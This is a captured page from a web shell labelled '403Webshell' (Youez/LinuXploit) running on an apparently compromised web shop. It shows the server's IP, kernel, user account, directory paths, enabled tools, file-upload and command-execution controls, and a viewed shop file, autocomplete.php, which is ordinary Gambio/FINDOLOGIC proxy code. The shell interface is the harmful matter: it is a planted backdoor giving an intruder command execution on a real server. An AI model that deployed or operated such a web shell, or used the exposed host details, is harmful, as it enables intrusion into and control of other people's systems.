403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/autocomplete.php
<?php
/* --------------------------------------------------------------
   autocomplete.php 2015-05-06
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2014 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

/*	File:		autocomplete.php
	*	Version:	4.1
	*	Date:		21.Jan.2010
	*       $Revision: 216 $
	*	FINDOLOGIC GmbH
	*/

require_once 'includes/application_top.php';
require_once('./findologic_config.inc.php');

function getUrl($url, $timeout = 5)
{
	$curl_opts = array(
		CURLOPT_URL => $url,
		CURLOPT_TIMEOUT => $timeout,
		CURLOPT_RETURNTRANSFER => true,
	);
	$ch = curl_init();
	curl_setopt_array($ch, $curl_opts);
	$response = curl_exec($ch);
	$errno = curl_errno($ch);
	$error = curl_error($ch);
	$info = curl_getinfo($ch);
	curl_close($ch);

	$result = array(
		'response' => $response,
		'info' => $info,
		'errno' => $errno,
		'error' => $error,
	);
	return $result;
}

/*
 *	do http-request
 */
$parameters = $_GET;
$parameters['shopkey'] = FL_SHOP_ID;
$parameters['revision_timestamp'] = FL_REVISION;

/* manually pass the arg_separator as '&' to avoid problems with different configurations */
if(strpos(FL_SERVICE_URL, 'http') === false)
{
	$scheme_prefix = "http://";
}
else {
	$scheme_prefix = '';
}
$url = $scheme_prefix.FL_SERVICE_URL."/autocomplete.php?" . http_build_query($parameters, '', '&');

$result = getUrl($url);
if($result['error'] > 0)
{
	die('Could not connect to search service, please check your shop config');
}
header('Content-Type: ' . $result['info']['content_type']);
$content = $result['response'];

echo $content;

xtc_db_close();

Youez - 2016 - github.com/yon3zu
LinuXploit